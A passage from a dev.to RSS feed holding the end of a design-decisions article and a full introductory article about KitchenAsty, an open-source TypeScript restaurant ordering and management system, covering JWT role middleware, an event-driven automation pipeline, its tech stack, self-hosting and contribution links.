&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;JwtPayload&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;staff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;customer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;role&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SUPER_ADMIN&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;MANAGER&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;STAFF&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Access control is built from three composable middleware functions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;authenticate&lt;/span&gt;        &lt;span class="c1"&gt;// require any valid JWT&lt;/span&gt;
&lt;span class="nx"&gt;requireStaff&lt;/span&gt;        &lt;span class="c1"&gt;// require type === 'staff'&lt;/span&gt;
&lt;span class="nf"&gt;requireRole&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;roles&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;// require specific role(s)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These compose at the route level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;            &lt;span class="nx"&gt;optionalAuth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;createOrder&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// guests OK&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/my-orders&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="nx"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;listCustomerOrders&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;             &lt;span class="nx"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;requireStaff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;listOrders&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/:id/status&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;requireStaff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;updateOrderStatus&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;optionalAuth&lt;/code&gt; variant is key for guest checkout — it attaches the user if present but doesn't reject anonymous requests.&lt;/p&gt;

&lt;p&gt;Staff invitation uses single-use tokens with a 7-day expiry stored in the database. When a new staff member accepts an invitation, the token is marked as used to prevent replay.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Automation: Data-Driven Event Pipeline
&lt;/h2&gt;

&lt;p&gt;This was the most interesting piece to build. Restaurant owners need custom workflows — "email the customer when their order is confirmed", "send an SMS when the order is ready for pickup", "notify the manager via webhook when a bad review comes in" — without touching code.&lt;/p&gt;

&lt;p&gt;The pipeline has three layers:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1 — EventEmitter as internal bus.&lt;/strong&gt; Controllers emit domain events after mutations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// After creating an order&lt;/span&gt;
&lt;span class="nx"&gt;appEvents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order.created&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// After changing order status&lt;/span&gt;
&lt;span class="nx"&gt;appEvents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order.statusChanged&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;previousStatus&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Layer 2 — DB-driven rule matching.&lt;/strong&gt; When an event fires, the system queries for active automation rules that match:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;processRules&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rules&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;automationRule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findMany&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;isActive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rule&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;matchesConditions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;conditions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;executeAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conditions support dot-notation paths, so a rule can match on &lt;code&gt;order.status === 'CONFIRMED'&lt;/code&gt; or &lt;code&gt;order.type === 'DELIVERY'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 — Action execution.&lt;/strong&gt; Three action types: &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;sms&lt;/code&gt;, and &lt;code&gt;webhook&lt;/code&gt;. Templates use &lt;code&gt;{{dot.path}}&lt;/code&gt; interpolation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"to"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"customer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"subject"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Your order #{{order.orderNumber}} is confirmed!"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"body"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hi {{order.customer.name}}, we're preparing your order."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;"to": "customer"&lt;/code&gt; field resolves dynamically — it walks &lt;code&gt;data.order.customer.email&lt;/code&gt;, then falls back to &lt;code&gt;data.order.guestEmail&lt;/code&gt;. This works transparently for both registered and guest orders.&lt;/p&gt;

&lt;p&gt;Everything is stored as JSON in the &lt;code&gt;AutomationRule&lt;/code&gt; model, so restaurant owners create and manage rules through the admin panel without deployments.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Shared Types: Thin by Design
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;packages/shared&lt;/code&gt; package is intentionally minimal — it exports &lt;code&gt;as const&lt;/code&gt; arrays that serve as both runtime values and TypeScript types:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ORDER_STATUSES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pending&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;confirmed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;preparing&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ready&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;out_for_delivery&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;delivered&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;picked_up&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cancelled&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;OrderStatus&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;ORDER_STATUSES&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The package does &lt;strong&gt;not&lt;/strong&gt; re-export Prisma types. The admin and storefront apps import from &lt;code&gt;@kitchenasty/shared&lt;/code&gt; without taking a transitive dependency on Prisma or any server-side code. This keeps frontend bundles clean and avoids the common monorepo trap where everything depends on everything.&lt;/p&gt;

&lt;p&gt;Shared response shapes (&lt;code&gt;ApiResponse&amp;lt;T&amp;gt;&lt;/code&gt;, &lt;code&gt;PaginatedResponse&amp;lt;T&amp;gt;&lt;/code&gt;) ensure the API contract is consistent across all endpoints without a code generation step.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd Do Differently
&lt;/h2&gt;

&lt;p&gt;A few things I'd reconsider if starting over:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;tRPC instead of REST&lt;/strong&gt; — type-safe API calls without hand-written fetch wrappers. The shared types package partially solves this, but tRPC would eliminate the gap entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Structured logger from day one&lt;/strong&gt; — the codebase currently uses raw &lt;code&gt;console.*&lt;/code&gt; calls. Adding &lt;code&gt;pino&lt;/code&gt; or &lt;code&gt;winston&lt;/code&gt; after the fact means touching every file that logs. This is &lt;a href="https://github.com/mighty840/kitchenasty/issues/14" rel="noopener noreferrer"&gt;an open issue&lt;/a&gt; if you want to help.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Component tests for the frontends&lt;/strong&gt; — the backend has 330+ tests but the React apps have zero unit tests. Integration coverage through Playwright helps, but component-level tests would catch more regressions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try It / Contribute
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Live demo:&lt;/strong&gt; &lt;a href="https://demo.kitchenasty.com" rel="noopener noreferrer"&gt;demo.kitchenasty.com&lt;/a&gt; (resets every 2 hours)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/kitchenasty" rel="noopener noreferrer"&gt;github.com/mighty840/kitchenasty&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docs:&lt;/strong&gt; &lt;a href="https://kitchenasty.com" rel="noopener noreferrer"&gt;kitchenasty.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If any of these patterns are interesting to you, there are &lt;a href="https://github.com/mighty840/kitchenasty/labels/good%20first%20issue" rel="noopener noreferrer"&gt;good first issues&lt;/a&gt; and &lt;a href="https://github.com/mighty840/kitchenasty/labels/help%20wanted" rel="noopener noreferrer"&gt;help wanted issues&lt;/a&gt; covering accessibility, i18n, test coverage, and more. Happy to answer questions in the comments or in &lt;a href="https://github.com/mighty840/kitchenasty/discussions" rel="noopener noreferrer"&gt;GitHub Discussions&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>opensource</category>
      <category>webdev</category>
      <category>architecture</category>
    </item>
    <item>
      <title>I built an open-source alternative to Toast and Square for restaurant management</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Mon, 23 Feb 2026 21:47:49 +0000</pubDate>
      <link>https://dev.to/mighty840/i-built-an-open-source-alternative-to-toast-and-square-for-restaurant-management-3mdf</link>
      <guid>https://dev.to/mighty840/i-built-an-open-source-alternative-to-toast-and-square-for-restaurant-management-3mdf</guid>
      <description>&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;If you run a small restaurant, your options for online ordering and management are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;SaaS platforms&lt;/strong&gt; like Toast, Square, or ChowNow — $100-300+/month with vendor lock-in&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Old open-source projects&lt;/strong&gt; — mostly PHP/Laravel, hard to extend, dated UIs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build it yourself&lt;/strong&gt; — months of work before you can take a single order&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I wanted a fourth option: a modern, self-hosted, open-source platform that a developer could deploy in an afternoon.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introducing KitchenAsty
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/mighty840/kitchenasty" rel="noopener noreferrer"&gt;KitchenAsty&lt;/a&gt; is an MIT-licensed restaurant ordering, reservation, and management system built as a TypeScript monorepo.&lt;/p&gt;

&lt;h3&gt;
  
  
  What it covers
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;For customers:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Browse the menu, add to cart, and place orders for delivery or pickup&lt;/li&gt;
&lt;li&gt;Schedule orders for later or order ASAP&lt;/li&gt;
&lt;li&gt;Pay with Stripe or cash on delivery&lt;/li&gt;
&lt;li&gt;Track orders in real-time&lt;/li&gt;
&lt;li&gt;Book table reservations&lt;/li&gt;
&lt;li&gt;Leave reviews&lt;/li&gt;
&lt;li&gt;React Native mobile app&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For restaurant staff:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Manage menus with categories, options, allergens, and images&lt;/li&gt;
&lt;li&gt;Kitchen display — a live Kanban board showing incoming orders&lt;/li&gt;
&lt;li&gt;Process orders with one-click status progression&lt;/li&gt;
&lt;li&gt;Manage reservations with table assignment&lt;/li&gt;
&lt;li&gt;Create and track coupons&lt;/li&gt;
&lt;li&gt;Moderate customer reviews&lt;/li&gt;
&lt;li&gt;Staff management with role-based access&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For the owner:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dashboard with revenue trends, order analytics, and top-selling items&lt;/li&gt;
&lt;li&gt;Multi-language support (6 languages)&lt;/li&gt;
&lt;li&gt;Full settings panel for payments, email, orders, and more&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tech Stack
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Tech&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;API&lt;/td&gt;
&lt;td&gt;Node.js + Express&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin &amp;amp; Storefront&lt;/td&gt;
&lt;td&gt;React 18 + Vite&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mobile&lt;/td&gt;
&lt;td&gt;React Native + Expo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database&lt;/td&gt;
&lt;td&gt;PostgreSQL + Prisma&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Real-time&lt;/td&gt;
&lt;td&gt;Socket.IO&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Payments&lt;/td&gt;
&lt;td&gt;Stripe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Styling&lt;/td&gt;
&lt;td&gt;Tailwind CSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Testing&lt;/td&gt;
&lt;td&gt;Vitest + Playwright (330+ tests)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Language&lt;/td&gt;
&lt;td&gt;TypeScript (strict mode everywhere)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Architecture Decisions
&lt;/h2&gt;

&lt;p&gt;A few choices I made and why:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monorepo with npm workspaces&lt;/strong&gt; — Admin, storefront, server, and shared types all live in one repo. Changes to shared types are immediately visible everywhere. No publishing packages, no version mismatches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prisma over raw SQL&lt;/strong&gt; — Type-safe database queries that catch errors at build time. The schema is self-documenting with 30 models and clear relationships.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Socket.IO for real-time&lt;/strong&gt; — The kitchen display and order tracking need instant updates. Socket.IO made this straightforward with room-based broadcasting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Separate admin and storefront apps&lt;/strong&gt; — Different audiences, different concerns. The admin is a dense data-management tool. The storefront is a consumer-facing ordering experience. Sharing a single React app would have meant too many compromises.&lt;/p&gt;

&lt;h2&gt;
  
  
  Self-Hosting
&lt;/h2&gt;

&lt;p&gt;The project is designed to be self-hosted with Docker. The docs site has a complete guide covering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server setup (Ubuntu/Debian)&lt;/li&gt;
&lt;li&gt;Docker Compose deployment&lt;/li&gt;
&lt;li&gt;Domain and DNS configuration&lt;/li&gt;
&lt;li&gt;Reverse proxy with SSL (Nginx or Caddy)&lt;/li&gt;
&lt;li&gt;Backups and maintenance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For local development, it's &lt;code&gt;docker compose up -d&lt;/code&gt; for PostgreSQL, then &lt;code&gt;npm run dev:server&lt;/code&gt; / &lt;code&gt;npm run dev:admin&lt;/code&gt; / &lt;code&gt;npm run dev:storefront&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  By the Numbers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;27,000 lines of TypeScript&lt;/li&gt;
&lt;li&gt;30 database models&lt;/li&gt;
&lt;li&gt;118 API endpoints&lt;/li&gt;
&lt;li&gt;330+ tests (unit, integration, E2E)&lt;/li&gt;
&lt;li&gt;6 supported languages&lt;/li&gt;
&lt;li&gt;Full CI/CD with GitHub Actions&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Contributing
&lt;/h2&gt;

&lt;p&gt;The project is set up for contributors:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/mighty840/kitchenasty/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/mighty840/kitchenasty/labels/good%20first%20issue" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt; — small, well-scoped tasks with clear instructions&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/mighty840/kitchenasty/labels/help%20wanted" rel="noopener noreferrer"&gt;Help wanted issues&lt;/a&gt; — bigger features where input is welcome&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/mighty840/kitchenasty/discussions" rel="noopener noreferrer"&gt;Discussions&lt;/a&gt; — feature ideas, RFCs, and community chat&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Areas where help is most needed: accessibility, i18n coverage, test coverage, and structured logging.&lt;/p&gt;

&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/kitchenasty" rel="noopener noreferrer"&gt;github.com/mighty840/kitchenasty&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docs:&lt;/strong&gt; &lt;a href="https://kitchenasty.com" rel="noopener noreferrer"&gt;Kitchenasty&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;License:&lt;/strong&gt; MIT&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you've ever worked on restaurant tech, run a food business, or just want to contribute to a well-documented TypeScript project, I'd love to hear from you.&lt;/p&gt;

&lt;p&gt;See my next article &lt;a href="https://dev.to/mighty840/design-decisions-behind-kitchenasty-an-open-source-restaurant-management-system-650"&gt;here&lt;/a&gt;&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>typescript</category>
      <category>webdev</category>
      <category>react</category>
    </item>
  </channel>
</rss>
